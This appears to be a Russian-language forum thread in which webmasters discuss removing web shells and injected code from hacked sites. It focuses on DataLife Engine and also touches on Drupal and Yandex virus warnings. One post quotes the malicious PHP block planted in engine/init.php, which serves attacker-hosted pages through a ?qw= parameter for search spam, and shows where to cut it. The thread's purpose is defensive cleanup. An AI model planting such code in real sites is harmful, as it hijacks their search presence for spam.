Общая тема о борьбе с шеллами и вирусами на сайте

Касаемо DLE

Бывает что взломают сайт и воткнут код в файлик engine/ini.php

если в поисковике видите кучу страниц вида ваш сайт/?qw=тут фигня.

значит надо удалять кусок кода, и искать вирус

Начинается зловред от

$_DOCUMENT_DATE = false;

$user_query = "";

и до строки

$js_array = array ();

все что между ним удаляем.

код

if(isset( $_GET['q'.'w']) ){

	error_reporting(0);

	$t = str_replace('..','',$_GET['q'.'w']);

	if(strstr($t, ".xml")){

		header('Content-Type: charset=windows-1251');

	}else{

		header('Content-Type: text/html; charset=windows-1251');

	}

	$html = file("/home/***/data/www/ваш сайт/engine/editor/jscripts/tiny_mce/plugins/удалите папку ваш сайт/$t");

	foreach ($html as $key => $value) {

		echo $value;

	}

	die;

}

В результате поисковик индексирует кучу страниц на сайте.

либо выдает агс

Может кому пригодится.

Есть сервисы которые мониторят файловую структуру сайта. Как только шелл зальют, тут же приходит письмо куда залили. Остается только удалить файл, или кусок кода. Ну и искать дыру, как залили.

учитывая что изначально такого файлика в dle нет, должно насторожить сразу откуда он и что содержит.

P.S. не каждый же догадается, что имелся ввиду

Прошу прощения букву не дописал.

Имелось ввиду файл init.php

(Есть сервисы которые мониторят файловую структуру сайта ) - адрес сервиса подскажите

Вот например: find-xss.net/monitoring

где шелл может жить в drupal-e?

В любом месте, нет обязательных мест, где он может находится.

заюзал поиск по вхождению во всех файлах и нашлось вот такое:

Только я не могу понять в каком это файле, линукс не вернул название файла.

что это за фигня такая?

Прошелся Web Shell Detector , он не нашел этот код нигде.

Ребят, такой вопрос, на сайте 2ip.ru/site-virus-scaner/ показывает что яндекс видит вирус http://joxi.ru/823jNpMczkZ7mO , а в панели вебмастера вируса нет. Как быть? Раньше в панели вебмастера яндекса было видно, что есть вирус, убирал рекламу, отправлял на перепроверку и вирус уходил... А теперь что делать?